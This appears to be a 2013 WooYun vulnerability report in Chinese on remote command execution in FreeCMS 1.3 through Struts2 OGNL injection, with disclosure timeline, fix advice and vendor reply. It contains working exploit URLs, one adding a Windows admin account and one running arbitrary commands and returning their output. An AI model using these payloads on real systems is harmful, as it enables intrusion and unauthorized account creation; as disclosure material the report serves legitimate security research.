漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-022939
漏洞标题：FreeCms 命令执行(Ognl执行顺序绕过漏洞附EXP)
相关厂商：FreeCms
漏洞作者： 园长
提交时间：2013-05-02 17:50
修复时间：2013-07-31 17:51
公开时间：2013-07-31 17:51
漏洞类型：命令执行
危害等级：中
自评Rank：8
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-05-02： 细节已通知厂商并且等待厂商处理中
2013-05-06： 厂商已经确认，细节仅向厂商公开
2013-05-09： 细节向第三方安全合作伙伴开放
2013-06-30： 细节向核心白帽子及相关领域专家公开
2013-07-10： 细节向普通白帽子公开
2013-07-20： 细节向实习白帽子公开
2013-07-31： 细节向公众公开
简要描述：
今天iteye.com首页推荐的CMS，于是看了下。开源免费java CMS - FreeCMS1.3-数据对象-mail 项目地址：https://code.google.com/p/freecms/
详细说明：
开源免费java CMS - FreeCMS1.3-数据对象-mail
项目地址：https://code.google.com/p/freecms/
之前公布的EXP利用工具是不行的，不过可以用我之前发布的某工具执行命令，写shell。
漏洞描述（看EXP3利用就行了）：
漏洞证明：
找到登录页面：http://localhost:8080/ff/login.jsp
自行从源码里面获取表单参数，或用上面说的工具自动提取。
然后修改提交的action：http://localhost:8080/ff/login_login.do?user.loginname=EXP
选择类型为String的请求就行了
添加帐号：http://localhost:8080/ff/login_login.do?user.loginname=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec('net user admin admin /add%27%29%29%28meh%29&z[%28user.loginname%29%28%27meh%27%29]=true
有人说命令执行呢？哪里？呵呵，改改之前的EXP不就解决了：
http://localhost:8080/ff/login_login.do?user.loginname=(
%23context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false),
%23_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),
%23req=@org.apache.struts2.ServletActionContext@getRequest(),
%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),
%23iswinreader=new java.io.DataInputStream(%23exec.getInputStream()),
%23buffer=new byte[1000],
%23iswinreader.readFully(%23buffer),
%23result=new java.lang.String(%23buffer),
%23response=@org.apache.struts2.ServletActionContext@getResponse(),
%23response.getWriter().println(%23result)
)
&z[(user.loginname)('meh')]=true&cmd=cmd /c set
修复方案：
更新apache官方最新版本jar包
版权声明：转载请注明来源 园长@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2013-05-06 22:30
厂商回复：
这个案例是主要是学习新的exp的过程，对于freecms的应用特征，至6日未在国内测试得到互联网上的案例情况。如果白帽子对此有研究心得，可以不吝赐教，以便CNVD尽快定位国内用户情况。
rank 18
最新状态：
暂无